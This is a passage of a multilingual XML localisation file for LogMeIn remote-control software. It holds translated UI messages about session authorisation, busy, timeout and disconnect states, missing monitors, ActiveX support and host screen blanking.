<ko>MSG\n
대화형 사용자가 원격 제어 프로세스를 인증하지 않았습니다.\n\n</ko>
<en-gb>MSG\n
The interactive user did not authorise the remote control process.\n\n</en-gb>
<hu>MSG\n
Az interaktív felhasználó nem engedélyezte a távvezérlési folyamatot.\n\n</hu>
<pt-br>MSG\n
O usuário interativo não autorizou o processo de controle remoto.\n\n</pt-br>
<nl>MSG\n De interactieve gebruiker heeft geen toestemming gegeven voor het proces voor de besturing op afstand.\n\n</nl>
</msg>
<msg name="TIMEREMAINING">
<en>Time remaining: %d</en>
<de>Verbleibende Zeit: %d</de>
<es>Tiempo restante: %d</es>
<fr>Temps restant: %d</fr>
<it>Tempo restante: %d</it>
<ru>Оставшееся время: %d</ru>
<ja>残存時間 : %d</ja>
<zh>剩余时间:%d</zh>
<ko>남아 있는 시간: %d</ko>
<en-gb>Time remaining: %d</en-gb>
<hu>Hátralevő idő: %d</hu>
<pt-br>Tempo restante: %d</pt-br>
<nl>Resterende tijd: %d</nl>
</msg>
<msg os="macosx" name="NODISPLAY">
<en>FAIL\n
There is no monitor attached to the remote computer.\n\n</en>
<de>FEHLER\n
Am Ferncomputer ist kein Monitor angeschlossen.\n\n</de>
<es>FAIL\n
No hay ningún monitor vinculado al ordenador remoto.\n\n</es>
<fr>ECHEC\n
Aucun moniteur n'est relié à l'ordinateur distant.\n\n</fr>
<it>ERRORE\n
Nessun monitor collegato al computer remoto.\n\n</it>
<ru>Ошибка\n
К удаленному компьютеру не подключен монитор.\n\n</ru>
<ja>失敗\n
リモート コンピュータにモニタが取り付けられていません。\n\n</ja>
<ko>실패\n
원격 컴퓨터에 연결된 모니터가 없습니다.\n\n</ko>
<hu>SIKERTELEN\n
Nincs monitor csatlakoztatva a távoli számítógéphez.\n\n</hu>
<pt-br>FALHA\n
Não há monitor conectado ao computador remoto.\n\n</pt-br>
<zh>失败\n
远程计算机没有连接显示器。\n\n</zh>
<en-gb>FAIL\n
There is no monitor attached to the remote computer.\n\n</en-gb>
<nl>FAIL\n Er is geen beeldscherm aangesloten op de externe computer.\n\n</nl>
</msg>
<cat name="DISCONNECTPAGE">
<msg name="TITLE">
<en>Disconnected</en>
<de>Getrennt</de>
<fr>Déconnecté</fr>
<es>Desconectado</es>
<it>Disconnesso</it>
<ru>Отключен</ru>
<ja>切断されました</ja>
<zh>已断开连接</zh>
<ko>연결이 해제됨</ko>
<en-gb>Disconnected</en-gb>
<hu>Kapcsolat megszakítva</hu>
<pt-br>Desconectado</pt-br>
<nl>Verbinding is verbroken</nl>
</msg>
<msg name="NOAUTH">
<en>Not Authorized</en>
<es>No autorizado</es>
<de>Nicht autorisiert</de>
<fr>Non autorisé</fr>
<it>Non autorizzato</it>
<ru>Не авторизован</ru>
<ja>認証されませんでした</ja>
<zh>未授权</zh>
<ko>인증되지 않음</ko>
<en-gb>Not Authorised</en-gb>
<hu>Nem engedélyezett</hu>
<pt-br>Não autorizado</pt-br>
<nl>Niet toegestaan</nl>
</msg>
<msg name="NOAUTH.1">
<en>The user in front of the computer you're accessing did not authorize your remote control connection.</en>
<es>El usuario que está delante del ordenador al que está intentando tener acceso no autorizó la conexión de control remoto.</es>
<de>Der Benutzer des Computers, auf den Sie zugreifen möchten, hat Ihre Remotesteuerungsverbindung nicht autorisiert.</de>
<fr>L'utilisateur en face de l'ordinateur auquel vous essayez d'accéder n'a pas autorisé votre connexion de contrôle à distance.</fr>
<it>L'utente del computer al quale si ha accesso non ha autorizzato la connessione di controllo remoto.</it>
<ru>Пользователь, сидящий перед компьютером, к которому выполняется подключение, не авторизовал соединение удаленного управления.</ru>
<ja>アクセスしようとしているコンピュータを直接操作しているユーザは、リモート制御接続を認証しませんでした。</ja>
<zh>您要访问的计算机前的用户没有授权您进行远程控制连接。</zh>
<ko>액세스 중인 컴퓨터 앞에 있는 사용자가 원격 제어 연결을 인증하지 않았습니다.</ko>
<en-gb>The user in front of the computer you're accessing did not authorise your remote control connection.</en-gb>
<hu>Az Ön által elérni kívánt számítógép előtt ülő felhasználó nem engedélyezte a távvezérlési kapcsolatot.</hu>
<pt-br>O usuário do computador que está acessando não autorizou sua conexão de controle remoto.</pt-br>
<nl>De gebruiker die aan de computer zit waarvoor u toegang wilt krijgen, heeft geen toestemming gegeven voor uw verbinding voor besturing op afstand.</nl>
</msg>
<msg name="NOAUTH.2">
<en>Please contact the user then try again.</en>
<es>Póngase en contacto con el usuario e inténtelo de nuevo.</es>
<de>Wenden Sie sich an den Benutzer, und führen Sie den Vorgang anschließend erneut aus.</de>
<fr>Contactez l'utilisateur et réessayez.</fr>
<it>Contattare l'utente e riprovare.</it>
<ru>Свяжитесь с пользователем и повторите попытку.</ru>
<ja>ユーザに問い合わせのうえ、再試行してください。</ja>
<zh>请与该用户联络,然后再试一次。</zh>
<ko>사용자에게 연락한 후 다시 시도하십시오.</ko>
<en-gb>Please contact the user and then try again.</en-gb>
<hu>Kérem, vegye fel a kapcsolatot a felhasználóval és próbálkozzék újból.</hu>
<pt-br>Entre em contato com o usuário e tente novamente.</pt-br>
<nl>Neem contact op met de gebruiker en probeer het opnieuw.</nl>
</msg>
<msg name="NOAUTH.1G">
<en>The user who invited you to access his computer did not authorize your remote control connection. He or she is either not present at the computer or has actively declined the request.</en>
<es>El usuario que le invitó a acceder a su ordenador no ha autorizado la conexión de control remoto. Puede que no esté delante del ordenador ahora o que haya declinado la solicitud.</es>
<de>Der Benutzer, der Sie zur Nutzung des Computers eingeladen hat, hat Ihre Remotesteuerungsverbindung nicht autorisiert. Der Benutzer ist entweder nicht am Computer oder hat die Anfrage abgelehnt.</de>
<fr>L'utilisateur qui vous a invité à accéder à son ordinateur n'a pas autorisé votre connexion de contrôle à distance. Il/Elle ne se trouve pas en face de l'ordinateur ou a refusé la demande.</fr>
<it>L'utente che ha inviato l'invito ad accedere al suo computer non ha autorizzato la connessione di controllo remoto. L'utente non si trova presso il computer o ha rifiutato attivamente la richiesta.</it>
<ru>Пользователь, пригласивший к доступу к своему компьютеру, не авторизовал соединение удаленного управления. Он либо отсутствует за компьютером, либо сознательно отклонил запрос.</ru>
<ja>コンピュータへのアクセスを招待したユーザから、リモート制御接続の認証を得られませんでした。ユーザがコンピュータの近くにいないか、要求を明確に拒否しています。</ja>
<zh>邀请您访问其计算机的用户没有授权您进行远程控制连接。他或她没有在计算机前或主动拒绝了请求。</zh>
<ko>자신의 컴퓨터에 액세스하라고 초대한 사용자가 원격 제어 연결을 인증하지 않았습니다. 해당 사용자가 컴퓨터 앞에 없거나 실제로 요청을 거부했습니다.</ko>
<en-gb>The user who invited you to access his computer did not authorise your remote control connection. He or she is either not present at the computer or has actively declined the request.</en-gb>
<hu>Az a felhasználó, aki meghívta Önt, hogy hozzáférjen a számítógépéhez, nem engedélyezte a távvezérlési kapcsolatot. Lehet, hogy nincs a gép mellett, vagy aktívan visszautasította a kérést.</hu>
<pt-br>O usuário que o convidou para acessar o computador dele não o autorizou a controlar remotamente a conexão. Ele não está presente no computador ou recusou ativamente a solicitação.</pt-br>
<nl>De gebruiker die u heeft uitgenodigd om toegang te krijgen tot zijn/haar computer heeft geen toestemming gegeven voor uw verbinding voor besturing op afstand. Hij of zij zit niet aan de computer of heeft uw verzoek geweigerd.</nl>
</msg>
<msg name="BUSY">
<en>Computer Busy</en>
<de>Der Computer ist besetzt</de>
<es>Ordenador ocupado</es>
<fr>Ordinateur occupé</fr>
<it>Computer occupato</it>
<ru>Компьютер занят</ru>
<ja>コンピュータが使用中です</ja>
<zh>计算机忙</zh>
<ko>컴퓨터 사용 중</ko>
<en-gb>Computer Busy</en-gb>
<hu>A számítógép foglalt</hu>
<pt-br>Computador ocupado</pt-br>
<nl>Computer is in gebruik</nl>
</msg>
<msg name="BUSY.1">
<en>The computer you're trying to access is already in a remote control session.</en>
<de>Der Computer, auf den Sie zugreifen möchten, ist bereits in einer Fernzugriffsitzung.</de>
<es>El ordenador al que está intentando acceder ya tiene una sesión de control remoto abierta.</es>
<fr>L'ordinateur auquel vous essayez d'accéder est déjà connecté à une session de contrôle à distance.</fr>
<it>Il computer al quale si sta tentando di accedere si trova già in una sessione di controllo remoto.</it>
<ru>Компьютер, к которому выполняется попытка подключения, уже задействован в сеансе удаленного управления.</ru>
<ja>アクセスしようとしているコンピュータでは既に、リモート制御セッションが実行されています。</ja>
<zh>您试图访问的计算机已经在远程控制会话中。</zh>
<ko>액세스하려고 시도한 컴퓨터가 이미 원격 제어 세션에 있습니다.</ko>
<en-gb>The computer you're trying to access is already in a remote control session.</en-gb>
<hu>Az elérni kívánt számítógép már egy távvezérlési munkamenetben van.</hu>
<pt-br>O computador que está tentando acessar já está em uma sessão de controle remoto.</pt-br>
<nl>Op de computer waarvoor u toegang wilt krijgen is reeds een sessie voor besturing op afstand gestart.</nl>
</msg>
<msg name="BUSY.2">
<en>Please try again later.</en>
<de>Bitte versuchen Sie es später noch einmal.</de>
<es>Inténtelo de nuevo más tarde.</es>
<fr>Réessayez ultérieurement.</fr>
<it>Riprovare più tardi.</it>
<ru>Повторите попытку позднее.</ru>
<ja>時間をおいて再試行してください。</ja>
<zh>请稍后再试。</zh>
<ko>나중에 다시 시도하십시오.</ko>
<en-gb>Please try again later.</en-gb>
<hu>Kérem, próbálkozzék újból később.</hu>
<pt-br>Tente novamente mais tarde.</pt-br>
<nl>Probeer het later opnieuw.</nl>
</msg>
<msg name="BUSY.2G">
<en>Please contact the person who sent you the invitation or try again later.</en>
<de>Bitte nehmen Sie Kontakt zu der Person auf, die Ihnen die Einladung geschickt hat, oder versuchen Sie es zu einem späteren Zeitpunkt noch einmal.</de>
<es>Póngase en contacto con la persona que le envió la invitación o inténtelo más tarde.</es>
<fr>Contactez la personne qui vous a envoyé l'invitation ou réessayez ultérieurement.</fr>
<it>Contattare la persona che ha inviato l'invito o riprovare più tardi.</it>
<ru>Свяжитесь с отправившим приглашение пользователем и повторите попытку позднее.</ru>
<ja>このリンクを送信したユーザに問い合わせるか、時間をおいて再試行してください。</ja>
<zh>请与向您发出邀请的人员联络或稍后再试。</zh>
<ko>초대장을 보낸 사용자에게 문의하거나 나중에 다시 시도하십시오.</ko>
<en-gb>Please contact the person who sent you the invitation or try again later.</en-gb>
<hu>Kérem, vegye fel a kapcsolatot azzal a személlyel, aki elküldte önnek a meghívót, vagy próbálkozzék újból később.</hu>
<pt-br>Entre em contato com a pessoa que o convidou ou tente novamente mais tarde.</pt-br>
<nl>Neem contact op met de persoon van wie u de uitnodiging hebt ontvangen of probeer het later opnieuw.</nl>
</msg>
<msg name="KICKED">
<en>User Terminated The Session</en>
<es>El usuario terminó la sesión</es>
<de>Sitzung vom Benutzer beendet</de>
<fr>L'utilisateur a mis fin à la session</fr>
<it>Sessione terminata dall'utente</it>
<ru>Пользователь прервал сеанс</ru>
<ja>ユーザがこのセッションを終了しました。</ja>
<zh>用户已终止会话</zh>
<ko>사용자가 세션을 종료함</ko>
<en-gb>User Terminated The Session</en-gb>
<hu>A felhasználó megszakította a munkamenetet</hu>
<pt-br>O usuário terminou a sessão</pt-br>
<nl>Sessie beëindigd door gebruiker</nl>
</msg>
<msg name="KICKED.1">
<en>The user in front of the computer you were accessing has disconnected you.</en>
<es>El usuario que está delante del ordenador al que estuvo accediendo le ha desconectado.</es>
<de>Der Benutzer des Computers, auf den Sie zugreifen möchten, hat die Verbindung zu Ihnen getrennt.</de>
<fr>L'utilisateur en face de l'ordinateur auquel vous aviez accès vous a déconnecté.</fr>
<it>L'utente del computer al quale si stava accedendo ha interrotto la connessione.</it>
<ru>Пользователь, сидящий перед компьютером, которому осуществлялся доступ, разорвал подключение.</ru>
<ja>アクセスしようとしていたコンピュータを直接操作しているユーザによって接続が切断されました。</ja>
<zh>您访问的计算机前的用户已断开了您的连接。</zh>
<ko>액세스하고 있던 컴퓨터 앞에 있는 사용자가 연결을 해제했습니다.</ko>
<en-gb>The user in front of the computer you were accessing has disconnected you.</en-gb>
<hu>A hozzáférésben levő számítógép előtt ülő felhasználó lecsatlakoztatta Önt.</hu>
<pt-br>O usuário do computador que você está acessando o desconectou.</pt-br>
<nl>De gebruiker die aan de computer zit waarvoor u toegang wilt krijgen, heeft uw verbinding verbroken.</nl>
</msg>
<msg name="KICKED.2">
<en>Please contact him or her for more information.</en>
<es>Póngase en contacto con él para obtener más información.</es>
<de>Wenden Sie sich bzgl. weiterer Informationen direkt an den Benutzer.</de>
<fr>Veuillez le/la contacter pour de plus amples informations.</fr>
<it>Contattare l'utente per ulteriori informazioni.</it>
<ru>Свяжитесь с пользователем, чтобы получить дополнительную информацию.</ru>
<ja>そのユーザに詳細を問い合わせてください。</ja>
<zh>有关详情,请与他或她联络。</zh>
<ko>자세한 내용은 해당 사용자에게 문의하십시오.</ko>
<en-gb>Please contact him or her for more information.</en-gb>
<hu>Kérem, vegye fel a kapcsolatot vele további információkért.</hu>
<pt-br>Entre em contato com ele para obter mais informações.</pt-br>
<nl>Neem contact op met deze gebruiker voor meer informatie.</nl>
</msg>
<msg name="TIMEO">
<en>Timed Out</en>
<de>Zeitüberschreitung</de>
<es>La sesión ha caducado</es>
<fr>Délai expiré</fr>
<it>Timeout</it>
<ru>Истек таймаут</ru>
<ja>タイムアウトしました</ja>
<zh>超时</zh>
<ko>시간 초과됨</ko>
<en-gb>Timed Out</en-gb>
<hu>Időtúllépés</hu>
<pt-br>Tempo expirado</pt-br>
<nl>Time-out opgetreden</nl>
</msg>
<msg name="TIMEO.1">
<en>Your computer has been idle for some time and the remote session was ended automatically for security reasons.</en>
<de>Ihr Computer war zu lange unbenutzt. Deshalb wurde diese Sitzung unterbrochen.</de>
<es>No ha realizado ninguna operación durante demasiado tiempo y su sesión ha caducado.</es>
<fr>Vous êtes resté inactif pendant trop longtemps et votre session est parvenue à expiration.</fr>
<it>Il tempo di inattività è stato troppo prolungato e si è verificato il timeout della sessione.</it>
<ru>Из-за слишком длительного бездействия сеанс был прерван по таймауту простоя.</ru>
<ja>長時間にわたってアイドル状態が続いたため、セッションがタイムアウトしました。</ja>
<zh>您空闲的时间太久,会话已超时。</zh>
<ko>너무 오랫동안 유휴 상태였기 때문에 세션 시간이 초과되었습니다.</ko>
<en-gb>Your computer has been idle for some time and the remote session was ended automatically for security reasons.</en-gb>
<hu>Túl hosszan volt üresjáratban, és a munkamenete időtúllépéssel lejárt.</hu>
<pt-br>Você está ocioso por muito tempo e sua sessão expirou.</pt-br>
<nl>U hebt de computer gedurende een te lange periode niet gebruikt en tijdens uw sessie is een time-out opgetreden.</nl>
</msg>
<msg os="macosx" name="NODISPLAY">
<en>Monitor Disconnected</en>
<de>Verbindung zum Monitor getrennt</de>
<es>Monitor desconectado</es>
<fr>Moniteur déconnecté</fr>
<it>Monitor disconnesso</it>
<ru>Монитор отключен</ru>
<ja>モニタが切断されました</ja>
<ko>모니터 연결이 끊어짐</ko>
<hu>Monitor lecsatlakoztatva</hu>
<pt-br>Monitor desconectado</pt-br>
<zh>显示器已断开连接</zh>
<en-gb>Monitor Disconnected</en-gb>
<nl>Beeldscherm is losgekoppeld</nl>
</msg>
<msg os="macosx" name="NODISPLAY.1">
<en>The monitor of the computer you are controlling has been disconnected. Remote control of Macintosh computers requires at least one screen to be attached.</en>
<de>Bei dem Computer, den Sie steuern, wurde die Verbindung zum Monitor getrennt. Um Macintosh-Computer fernsteuern zu können, muss mindestens ein Bildschirm angeschlossen sein.</de>
<es>El monitor del ordenador que está controlando ha sido desconectado. El control remoto de los ordenadores Macintosh necesita al menos un monitor vinculado.</es>
<fr>Le moniteur de l'ordinateur que vous contrôlez a été déconnecté. Le contrôle à distance des ordinateurs Macintosh requiert au moins un écran relié.</fr>
<it>Il monitor del computer che si sta controllando è stato disconnesso. Per il controllo remoto di computer Macintosh è necessario che sia collegato almeno uno schermo.</it>
<ru>Монитор компьютера, которым Вы управляете, был отключен. Для удаленного управления компьютерами Macintosh необходимо подключить хотя бы один экран.</ru>
<ja>制御しているコンピュータのモニタが切断されました。Mac コンピュータのリモート制御には少なくともひとつの画面が必要です。</ja>
<ko>제어하는 컴퓨터의 모니터 연결이 끊어졌습니다. Macintosh 컴퓨터를 원격으로 제어하려면 하나 이상의 화면이 연결되어야 합니다.</ko>
<hu>Az Ön által vezérelt számítógéphez nem csatlakozik monitor. Macintosh számítógépek távvezérléséhez legalább egy csatlakoztatott monitor szükséges.</hu>
<pt-br>O monitor do computador que você está controlando foi desconectado. O controle remoto de computadores Macintosh requer pelo menos uma tela conectada.</pt-br>
<zh>您正控制的计算机的显示器已断开连接。Macintosh 计算机的远程控制需要至少连接一个(显示器)屏幕。</zh>
<en-gb>The monitor of the computer you are controlling has been disconnected. Remote control of Macintosh computers requires at least one screen to be attached.</en-gb>
<nl>Het beeldscherm van de computer die u controleert, is losgekoppeld. Voor de besturing op afstand van Macintosh-computers is vereist dat minstens één beeldscherm is aangesloten.</nl>
</msg>
<msg name="NOJAVA">
<en>Your browser does not support ActiveX.</en>
<de>Ihr Browser unterstützt ActiveX nicht.</de>
<es>Su navegador no admite ActiveX.</es>
<fr>Votre navigateur ne prend pas en charge ActiveX.</fr>
<it>Il browser non supporta ActiveX.</it>
<ru>Ваш браузер не поддерживает ActiveX.</ru>
<ja>ブラウザが ActiveX に対応していません。</ja>
<zh>您的浏览器不支持 ActiveX。</zh>
<ko>브라우저가 ActiveX를 지원하지 않습니다.</ko>
<en-gb>Your browser does not support ActiveX.</en-gb>
<hu>Böngészője nem támogatja az ActiveX-et.</hu>
<pt-br>Seu navegador não tem suporte ao ActiveX.</pt-br>
<nl>Uw browser biedt geen ondersteuning voor ActiveX.</nl>
</msg>
<msg name="NOJAVA.1">
<en>To control this computer remotely, please use the LogMeIn Client application or a browser that supports ActiveX.</en>
<de>Bitte verwenden Sie die LogMeIn-Client-Anwendung oder einen Browser, der ActiveX unterstützt, um diesen Computer fernzusteuern.</de>
<es>Para controlar este ordenador de forma remota, utilice la aplicación LogMeIn Client o un navegador compatible con ActiveX.</es>
<fr>Pour contrôler à distance cet ordinateur, utilisez l'application LogMeIn Client ou un navigateur compatible ActiveX.</fr>
<it>Per controllare in remoto questo computer, usa l'applicazione LogMeIn Client o un browser che supporti ActiveX.</it>
<ru>Для удаленного управления этим компьютером используйте приложение LogMeIn Client или браузер, поддерживающий ActiveX.</ru>
<ja>このコンピュータをリモートで制御するには、LogMeIn Client アプリケーションを使用するか、ActiveX に対応したブラウザを使用してください。</ja>
<zh>如需远程控制此计算机,请使用 LogMeIn Client 应用程序或支持 ActiveX 的浏览器。</zh>
<ko>이 컴퓨터를 원격으로 제어하려면 LogMeIn Client 응용 프로그램이나 ActiveX를 지원하는 브라우저를 사용해야 합니다.</ko>
<en-gb>To control this computer remotely, please use the LogMeIn Client application or a browser that supports ActiveX.</en-gb>
<hu>A számítógép távvezérléshez használja a LogMeIn Client alkalmazást vagy olyan böngészőt, amely támogatja az ActiveX-et.</hu>
<pt-br>Para controlar este computador remotamente, use o aplicativo LogMeIn Client ou um navegador com suporte ao ActiveX.</pt-br>
<nl>Als u deze computer op afstand wilt besturen, gebruikt u de LogMeIn Client-app of een browser die ActiveX ondersteunt.</nl>
</msg>
<msg name="INVITEINVALID">
<en>The link you have followed to access this PC is no longer valid.</en>
<fr>Le lien que vous avez suivi pour accéder à cet ordinateur n'est plus valable.</fr>
<es>El vínculo que ha seguido para acceder a este ordenador ya no es válido.</es>
<de>Der Link, den Sie für den Zugriff auf diesen Computer verwenden möchten, ist nicht mehr gültig.</de>
<it>Il collegamento utilizzato per accedere a questo computer non è più valido.</it>
<nl>De koppeling die u hebt gekozen om toegang te krijgen tot deze computer is niet meer geldig.</nl>
<pt-br>O link que você seguiu para acessar este computador não é mais válido.</pt-br>
<zh>您访问此计算机所使用的链接不再有效。</zh>
<ru>Ссылка, использовавшаяся для доступа к данному компьютеру, более не действительна.</ru>
<ja>このコンピュータにアクセスするために使用したリンクは、もう有効ではありません。</ja>
<ko>이 컴퓨터에 액세스하기 위해 클릭한 링크가 더 이상 유효하지 않습니다.</ko>
<hu>A számítógép eléréséhez használt hivatkozás nem érvényes többé.</hu>
<en-gb>The link you have followed to access this PC is no longer valid.</en-gb>
</msg>
<msg os="macosx" name="INVITEINVALID">
<en>The link you have followed to access this computer is no longer valid.</en>
<fr>Le lien que vous avez suivi pour accéder à cet ordinateur n'est plus valable.</fr>
<es>El vínculo que ha seguido para acceder a este ordenador ya no es válido.</es>
<de>Der Link, den Sie für den Zugriff auf diesen Computer verwenden möchten, ist nicht mehr gültig.</de>
<it>Il collegamento utilizzato per accedere a questo computer non è più valido.</it>
<nl>De koppeling die u hebt gekozen om toegang te krijgen tot deze computer is niet meer geldig.</nl>
<pt-br>O link que você seguiu para acessar este computador não é mais válido.</pt-br>
<zh>您访问此计算机所使用的链接不再有效。</zh>
<ru>Ссылка, использовавшаяся для доступа к данному компьютеру, более не действительна.</ru>
<ja>このコンピュータにアクセスするために使用したリンクは、もう有効ではありません。</ja>
<ko>이 컴퓨터에 액세스하기 위해 클릭한 링크가 더 이상 유효하지 않습니다.</ko>
<hu>A számítógép eléréséhez használt hivatkozás nem érvényes többé.</hu>
<en-gb>The link you have followed to access this computer is no longer valid.</en-gb>
</msg>
<msg name="INVITEINVALID.1">
<en>Please contact the person who invited you to the PC.</en>
<fr>Contactez la personne qui vous a invité à accéder à l'ordinateur.</fr>
<es>Póngase en contacto con la persona que le invitó a acceder al ordenador.</es>
<de>Bitte kontaktieren Sie die Person, von der Sie zum Zugriff auf den Computer eingeladen wurden.</de>
<it>Contattare la persona che ha inviato l'invito ad accedere al computer.</it>
<nl>Neem contact op met de persoon die u heeft uitgenodigd om toegang te krijgen tot deze computer.</nl>
<pt-br>Entre em contato com a pessoa que o convidou para o computador.</pt-br>
<zh>请与邀请您访问此计算机的人员联络。</zh>
<ru>Свяжитесь с пользователем, пригласившим вас к доступу к данному компьютеру.</ru>
<ja>このコンピュータへの招待元に問い合わせてください。</ja>
<ko>컴퓨터에 초대한 사용자에게 문의하십시오.</ko>
<hu>Kérem, vegye fel a kapcsolatot azzal a személlyel, aki meghívta Önt a számítógépére.</hu>
<en-gb>Please contact the person who invited you to the PC.</en-gb>
</msg>
<msg os="macosx" name="INVITEINVALID.1">
<en>Please contact the person who invited you to the computer.</en>
<fr>Contactez la personne qui vous a invité à accéder à l'ordinateur.</fr>
<es>Póngase en contacto con la persona que le invitó a acceder al ordenador.</es>
<de>Bitte kontaktieren Sie die Person, von der Sie zum Zugriff auf den Computer eingeladen wurden.</de>
<it>Contattare la persona che ha inviato l'invito ad accedere al computer.</it>
<nl>Neem contact op met de persoon die u heeft uitgenodigd om toegang te krijgen tot deze computer.</nl>
<pt-br>Entre em contato com a pessoa que o convidou para o computador.</pt-br>
<zh>请与邀请您访问此计算机的人员联络。</zh>
<ru>Свяжитесь с пользователем, пригласившим вас к доступу к данному компьютеру.</ru>
<ja>このコンピュータへの招待元に問い合わせてください。</ja>
<ko>컴퓨터에 초대한 사용자에게 문의하십시오.</ko>
<hu>Kérem, vegye fel a kapcsolatot azzal a személlyel, aki meghívta Önt a számítógépére.</hu>
<en-gb>Please contact the person who invited you to the computer.</en-gb>
</msg>
<msg name="NOREASON">
<en>Your connection to the remote computer has been lost.</en>
<de>Die Verbindung zu dem Ferncomputer wurde unterbrochen.</de>
<es>Se ha perdido su conexión con el ordenador remoto.</es>
<fr>Votre connexion à l'ordinateur distant a été perdue.</fr>
<it>La connessione al computer remoto non è più disponibile.</it>
<ru>Подключение к данному удаленному компьютеру разорвано.</ru>
<ja>リモート コンピュータとの接続は切断しています。</ja>
<zh>您与远程计算机的连接已丢失。</zh>
<ko>원격 컴퓨터에 대한 연결이 끊어졌습니다.</ko>
<en-gb>Your connection to the remote computer has been lost.</en-gb>
<hu>A kapcsolat a távoli számítógéppel megszakadt.</hu>
<pt-br>Sua conexão com o computador remoto foi perdida.</pt-br>
<nl>Uw verbinding met de externe computer is verbroken.</nl>
</msg>
<msg name="NOREASON.1">
<en>Please try again later, or contact technical support for more information.</en>
<de>Bitte versuchen Sie es später noch einmal oder wenden Sie sich an den technischen Support.</de>
<es>Inténtelo de nuevo o póngase en contacto con el equipo de asistencia técnica para obtener más información.</es>
<fr>Réessayez ultérieurement ou contactez l'assistance technique pour plus d'informations.</fr>
<it>Riprovare più tardi o contattare il supporto tecnico per ulteriori informazioni.</it>
<ru>Повторите попытку позднее или обратитесь в службу технической поддержки за дополнительной информацией.</ru>
<ja>時間をおいて再試行するか、テクニカル サポートに詳細を問い合わせてください。</ja>
<zh>请稍后再试,或与技术支持联络以了解更多信息。</zh>
<ko>나중에 다시 시도하거나 기술 지원부에 자세한 내용을 문의하십시오.</ko>
<en-gb>Please try again later or contact technical support for more information.</en-gb>
<hu>Kérem, próbálkozzék újból később, vagy vegye fel a kapcsolatot a műszaki támogatással további információkért.</hu>
<pt-br>Tente novamente mais tarde ou entre em contato com o suporte técnico para obter mais informações.</pt-br>
<nl>Probeer het later opnieuw of neem contact op met de afdeling Technische support voor meer informatie.</nl>
</msg>
</cat>
<cat name="BLANKDIALOGS">
<cat name="WARNING">
<msg name="LINE1">
<en>%PRODUCTNAME is configured to blank the host computer's screen during a remote control session.</en>
<de>%PRODUCTNAME ist so konfiguriert, dass während der Fernsteuerung ein leerer Bildschirm am Host-Computer angezeigt wird.</de>
<es>%PRODUCTNAME está configurado para dejar sin contenidos la pantalla del ordenador host durante la sesión de control remoto.</es>
<fr>%PRODUCTNAME est configuré pour masquer l'écran de l'ordinateur hôte pendant une session de connexion à distance.</fr>
<it>%PRODUCTNAME è configurato per cancellare il contenuto dello schermo del computer host durante una sessione di controllo remoto.</it>
<ru>%PRODUCTNAME настроен на очистку экрана хост-компьютера в течение сеанса удаленного управления.</ru>
<ja>%PRODUCTNAME は、リモート制御セッション中、ホスト コンピュータの画面を空白表示するように設定されています。</ja>
<zh>%PRODUCTNAME 配置为在远程控制会话中使主机屏幕黑屏。</zh>
<ko>%PRODUCTNAME은(는) 원격 제어 세션 중에 호스트 컴퓨터의 화면을 비우도록 구성되었습니다.</ko>
<en-gb>%PRODUCTNAME is configured to blank the host computer's screen during a remote control session.</en-gb>
<hu>A %PRODUCTNAME termék olyan módon van beállítva, hogy üres képernyőt mutasson a gazdagépen a távvezérlés munkamenete alatt.</hu>
<pt-br>O %PRODUCTNAME foi configurado para deixar a tela do computador host em branco durante uma sessão de controle remoto.</pt-br>
<nl>%PRODUCTNAME is geconfigureerd om het scherm van de hostcomputer uit te schakelen tijdens de sessie voor besturing op afstand.</nl>
</msg>
<msg name="LINE2">
<en>The monitor attached to the host computer could not be turned off because the required drivers are not installed.</en>
<de>Der Monitor am Host-Computer kann nicht ausgeschaltet werden.</de>
<es>El monitor vinculado al ordenador host no se pudo apagar porque no están instalados los drivers necesarios.</es>
<fr>L'écran de l'ordinateur hôte n'a pas pu être éteint.</fr>
<it>Impossibile spegnere il monitor collegato al computer host. I driver richiesti non sono installati.</it>
<ru>Монитор, подключенный к данному хост-компьютеру, не может быть выключен, так как не установлены нужные драйверы.</ru>
<ja>必要なドライバがインストールされていないため、ホスト コンピュータに接続されたモニタのスイッチを切ることができません。</ja>
<zh>无法关闭连接至主机的显示器,因为没有安装所需的驱动程序。</zh>
<ko>필수 드라이버가 설치되어 있지 않기 때문에 호스트 컴퓨터에 연결된 모니터를 끌 수 없습니다.</ko>
<en-gb>The monitor attached to the host computer could not be turned off because the required drivers are not installed.</en-gb>
<hu>A gazdagéphez csatlakoztatott képernyőt nem sikerült kikapcsolni, mivel nincsenek telepítve a szükséges illesztőprogramok.</hu>
<pt-br>O monitor anexado ao computador host não pôde ser desligado, pois os drivers necessários não estão instalados.</pt-br>
<nl>Het beeldscherm dat op de hostcomputer is aangesloten, wordt echter niet fysiek uitgeschakeld omdat de vereiste stuurprogramma's niet zijn geïnstalleerd.</nl>
</msg>
<msg name="LINE3">
<en>Install the DPMS-enabled monitor drivers.</en>
<de>Installieren sie den DPMS-fähigen Monitortreiber neu.</de>
<es>Instale los drivers de DPMS del monitor.</es>
<fr>Réinstallez le pilote écran DPMS-actif.</fr>
<it>Installare i driver del monitor DPMS.</it>
<ru>Установите драйверы монитора с поддержкой DPMS.</ru>
<ja>DPMS 対応のモニタ ドライバをインストールしてください。</ja>
<zh>安装启用 DPMS 的显示器驱动程序。</zh>
<ko>DPMS 지원 모니터 드라이버를 설치합니다.</ko>
<en-gb>Install the DPMS-enabled monitor drivers.</en-gb>
<hu>Telepítse a DPMS támogatással ellátott képernyő-illesztőprogramokat.</hu>
<pt-br>Instale os drivers do monitor habilitados para DPMS.</pt-br>
<nl>De DPMS-compatibele beeldschermstuurprogramma's installeren.</nl>
</msg>
<msg name="LINE4">
<en>Continue your remote control session without blanking the screen. Note that your remote control session might be observed by people present at the computer.</en>
<de>Sie verwenden die Fernsteuerung ohne einen leeren Bildschirm am Host anzuzeigen. Beachten Sie dabei, dass die Sitzung von Personen überwacht werden kann, die sich bei Ihrem Computer aufhalten.</de>
<es>Continúe con la sesión de control remoto sin dejar sin contenidos la pantalla. Tenga en cuenta que la sesión de control remoto podría ser observada por personas que estén delante del ordenador.</es>
<fr>Continuez votre session de connexion à distance sans masquer l'écran. Sachez que des personnes pourraient observer votre session de connexion à distance présentes devant l'ordinateur.</fr>
<it>Continuare la sessione di controllo remoto senza cancellare il contenuto dello schermo. La sessione di controllo remoto potrebbe essere osservata dagli utenti del computer.</it>
<ru>Продолжите работу с сеансом удаленного управления без очистки экрана. Обратите внимание на то, что за операциями удаленного управления могут наблюдать лица, находящиеся рядом с компьютером.</ru>
<ja>画面を空白にしないで、リモート制御セッションを続行します。リモート制御セッションは、コンピュータの前にいる人に見られる可能性があります。</ja>
